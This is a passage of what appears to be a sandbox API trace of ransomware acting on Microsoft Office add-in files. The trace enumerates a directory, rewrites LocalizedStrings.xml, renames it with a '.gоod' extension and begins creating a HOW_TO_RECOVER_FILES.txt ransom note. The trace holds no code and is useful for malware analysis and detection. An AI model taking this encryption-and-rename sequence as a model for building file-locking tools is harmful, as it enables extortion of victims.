lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5c164a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5c164a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5e78ac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.RsClient.resources.dll", cAlternateFileName="MI5988~1.DLL")) returned 1 [0255.132] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa5581c0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa5581c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa853100, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xc040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SqlServer.Types.resources.dll", cAlternateFileName="MI5889~1.DLL")) returned 1 [0255.132] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbd422, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xfbd422, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xfe368d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 1 [0255.132] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0255.132] FindClose (in: hFindFile=0x134a8c0 | out: hFindFile=0x134a8c0) returned 1 [0255.132] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0255.132] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0255.132] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0255.132] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el", lpFilePart=0x0) returned 0x51 [0255.132] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff580e7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aaa0 [0255.133] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff580e7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.133] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x169d, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedStrings.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0255.133] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf073ddf4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf073ddf4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf073ddf4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xcaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0255.133] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa68949f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa68949f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa806c3d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x38aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.Wizard.resources.dll", cAlternateFileName="MIDF86~1.DLL")) returned 1 [0255.133] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf21ea38b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf23b4040, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x17030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.BackEnd.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0255.133] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4cfac8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4cfac8a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5a3de35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x211030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll", cAlternateFileName="MIF61E~1.DLL")) returned 1 [0255.134] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4620012, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4620012, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4646280, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Layout.resources.dll", cAlternateFileName="MI8E88~1.DLL")) returned 1 [0255.134] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6bad1cb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6bad1cb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6bad1cb, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x25040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.XLHost.Modeler.resources.dll", cAlternateFileName="MI93CC~1.DLL")) returned 1 [0255.134] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeff580e7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeff580e7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0063153, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2ac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.Interfaces.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0255.134] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6224b6a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4d050, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.resources.dll", cAlternateFileName="MI9A58~1.DLL")) returned 1 [0255.134] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf61fd8b4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61fd8b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61fd8b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4baa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll", cAlternateFileName="MIB24E~1.DLL")) returned 1 [0255.134] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6866e01, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6866e01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6866e01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.DataExtensions.resources.dll", cAlternateFileName="MI1341~1.DLL")) returned 1 [0255.135] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf61d7668, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61d7668, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61d7668, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1aaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.Diagnostics.resources.dll", cAlternateFileName="MI2EA0~1.DLL")) returned 1 [0255.135] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x860e337, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x860e337, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1d040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.Common.resources.dll", cAlternateFileName="MIC811~1.DLL")) returned 1 [0255.135] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf126aeb1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf126aeb1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf12b7378, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x76040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0255.135] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5c164a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5c164a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5c164a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x15ac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Common.resources.dll", cAlternateFileName="MI5C38~1.DLL")) returned 1 [0255.135] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf75a8fbb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf75a8fbb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf75a8fbb, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Forms.resources.dll", cAlternateFileName="MI335D~1.DLL")) returned 1 [0255.135] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5c164a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5c164a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5e78ac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.RsClient.resources.dll", cAlternateFileName="MI5988~1.DLL")) returned 1 [0255.136] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa5581c0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa5581c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa853100, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xc040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SqlServer.Types.resources.dll", cAlternateFileName="MI5889~1.DLL")) returned 1 [0255.136] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbd422, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xfbd422, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xfe368d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 1 [0255.136] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbd422, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xfbd422, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xfe368d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 0 [0255.136] FindClose (in: hFindFile=0x134aaa0 | out: hFindFile=0x134aaa0) returned 1 [0255.136] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0255.136] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0255.136] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0255.136] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec9a0) returned 1 [0255.136] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\el\\localizedstrings.xml"), fInfoLevelId=0x0, lpFileInformation=0x3c36b10 | out: lpFileInformation=0x3c36b10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x169d)) returned 1 [0255.137] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec960) returned 1 [0255.137] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0255.137] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0255.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\el\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a4 [0255.138] GetFileType (hFile=0x8a4) returned 0x1 [0255.138] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0255.138] GetFileType (hFile=0x8a4) returned 0x1 [0255.138] SetFilePointer (in: hFile=0x8a4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x206ec9f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x206ec9f8*=0) returned 0x1000 [0255.138] ReadFile (in: hFile=0x8a4, lpBuffer=0x3c36fc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ec9c8, lpOverlapped=0x0 | out: lpBuffer=0x3c36fc8*, lpNumberOfBytesRead=0x206ec9c8*=0x69d, lpOverlapped=0x0) returned 1 [0255.139] CloseHandle (hObject=0x8a4) returned 1 [0255.139] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0255.139] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0255.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\el\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a4 [0255.139] GetFileType (hFile=0x8a4) returned 0x1 [0255.139] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0255.139] GetFileType (hFile=0x8a4) returned 0x1 [0255.139] SetFilePointer (in: hFile=0x8a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x206ec9f8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x206ec9f8*=0) returned 0x169d [0255.139] WriteFile (in: hFile=0x8a4, lpBuffer=0x3c382b0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x206ec8e8, lpOverlapped=0x0 | out: lpBuffer=0x3c382b0*, lpNumberOfBytesWritten=0x206ec8e8*=0x10, lpOverlapped=0x0) returned 1 [0255.139] CloseHandle (hObject=0x8a4) returned 1 [0255.140] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0255.140] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0255.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\el\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a4 [0255.140] GetFileType (hFile=0x8a4) returned 0x1 [0255.140] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0255.140] GetFileType (hFile=0x8a4) returned 0x1 [0255.140] ReadFile (in: hFile=0x8a4, lpBuffer=0x3c3a5c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ec978, lpOverlapped=0x0 | out: lpBuffer=0x3c3a5c0*, lpNumberOfBytesRead=0x206ec978*=0x1000, lpOverlapped=0x0) returned 1 [0255.208] CloseHandle (hObject=0x8a4) returned 1 [0255.209] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0255.209] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0255.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\el\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a4 [0255.209] GetFileType (hFile=0x8a4) returned 0x1 [0255.209] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0255.209] GetFileType (hFile=0x8a4) returned 0x1 [0255.209] WriteFile (in: hFile=0x8a4, lpBuffer=0x3a5c1c8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x206eca28, lpOverlapped=0x0 | out: lpBuffer=0x3a5c1c8*, lpNumberOfBytesWritten=0x206eca28*=0x1010, lpOverlapped=0x0) returned 1 [0255.209] CloseHandle (hObject=0x8a4) returned 1 [0255.209] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0255.209] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el\\LocalizedStrings.xml.gоod", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el\\LocalizedStrings.xml.gоod", lpFilePart=0x0) returned 0x6b [0255.209] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec960) returned 1 [0255.209] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\el\\localizedstrings.xml"), fInfoLevelId=0x0, lpFileInformation=0x206eca40 | out: lpFileInformation=0x206eca40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x94537de8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x16ad)) returned 1 [0255.210] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec920) returned 1 [0255.210] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\el\\localizedstrings.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el\\LocalizedStrings.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\el\\localizedstrings.xml.gоod")) returned 1 [0255.254] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ec640, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0255.254] SetThreadErrorMode (dwNewMode=0x1, 